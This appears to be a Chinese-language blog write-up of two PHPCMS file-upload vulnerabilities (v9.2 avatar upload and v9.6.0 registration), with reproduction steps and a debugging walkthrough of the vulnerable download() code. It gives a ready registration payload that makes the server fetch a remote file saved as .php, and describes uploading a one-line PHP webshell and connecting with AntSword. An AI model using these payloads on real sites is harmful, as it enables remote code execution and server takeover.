一.文件上传漏洞

环境

phpcms v9.2 utf-8

1.注册用户

2.制作shell

这里我们需要制作一个压缩包用来进行文件上传的漏洞利用,首先我们需要创建一个文件夹,里面包含一个写有一句话的php文件

1652164297035

接着将文件夹进行zip格式压缩

1652164324452

3.修改头像上传文件

首先选择一个图片进行上传

1652164459553

接着在burp中删除上传图片内容,右键paste from file替换为我们制作的shell文件

1652165304496

接着我们就可以在以下目录下看到自己上传的文件,其中的3目录可能会有变动

1652165252382

访问我们上传的shell

1652165526354

二、漏洞分析

我们在上传成功之后我们可以在burp中查看到我们上传时候的请求

1652165756777

http://test.com/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=cfd9BgIDVFMEA1UHVF1QV1UOBgBWXwUAB1sAXwBEUVwKBUVGQWwFFkBbOlwBQFsUVkoFA0ZfewRgKm8DUWBXelBxAXB6fywNDQtRRAtNCw

我们分析一下请求连接的含义

我们可以知道它使用的是phpsso_server下的phpsso模板,类是index,方法为uploadavatar

1652165973948

接下来我们对该部分代码进行下断点进行调试

1652166120495

接着我们再次上传图片,burp抓包将上传的内容copy to file,格式为zip

1652166274645

我们解压出来可以发现为四种大小的图片

1652166304286

这里我们知道,其上传的文件是一个压缩文件,所以我们修改上传内容的时候格式为zip

接着查看断点位置,f8逐步向下走,我们可以看到保存的路径

1652166772280

三、v9.6.0上传漏洞

1.首先我们在其他服务器下准备一个包含有恶意代码的文件

1652361006538

2.接着我们在站点注册一个账户

1652361954445

接着我们打开burp进行代理,然后我们提交数据,接着我们将之前的注册数据替换为如下数据

siteid=1&modelid=11&username=test12&password=test21123&email=test12@163.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=

接着我们将请求放行,我们会看到页面返回一个错误提示

1652363110985

1652363120736

我们使用蚁剑连接成功拿到了shell

1652363301245

接着我们进行漏洞分析,我们在burp中拿到我们提交的网址信息

http://phpcms960.com:8008/index.php?m=member&c=index&a=register&siteid=1

我们可以知道,以index为入口,模块是member,类为index,方法为register

1652363639458

我们我们在这个函数里进行加断点,分析我们传入的数据执行了什么操作。我们在调试的时需要注意$_POST中的一个info参数,这里是我们传入的shell地址的值

1654584971357

接下来我们在对info参数进行操作的时候进行分析,这里的array_map是为每个参数执行new_html_special_chars这个函数,这个函数的意义是转义特殊字符方式xss

1654585104708

接着我们可以在下一行看到调用了一个get函数,这里我们进入分析get函数,其中get函数接收了一个data参数,这个参数是从之前的$_POST中的info,我们主要分析对data进行哪些操作。

1654585361873

这里将data中的数据拿了出来,其中键(content)放到了field中,值(我们传入的shell地址)放到了value中,所以我们主要关注对value的操作

1654585791065

我们分析接下来的代码,其中1位置的代码获得value的长度赋值给length,2位置执行了str_cut函数,这个函数是截取9999999长度的字符,我们的字符长度完全在范围内,接着3

1654586168981

if(is_array($data)) {
            foreach($data as $field=>$value) {
                if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
                ............................
                    ..........................
                   
                
                if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
                //其中preg_match是正则表达式匹配操作
                if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
                $func = $this->fields[$field]['formtype'];//这里func获得的是editor函数
                if(method_exists($this, $func)) $value = $this->$func($field, $value);
                //执行editor函数
    
                $info[$field] = $value;
            }

editor函数内容

function editor($field, $value) {
        $setting = string2array($this->fields[$field]['setting']);
        $enablesaveimage = $setting['enablesaveimage'];
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        $value = $this->attachment->download('content', $value,$watermark_enable);
        return $value;
    }


//其中我们需要重点分析一下其中的download函数,我们主要关注的还是对value进行操作的代码
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        //对value中的特殊字符进行转义    
        //stripslashes 返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。 
    
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    //这里进行了正则匹配取值,将http://
        $remotefileurls = array();
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }    
最后修改:2022 年 11 月 11 日
如果觉得我的文章对你有用,请随意赞赏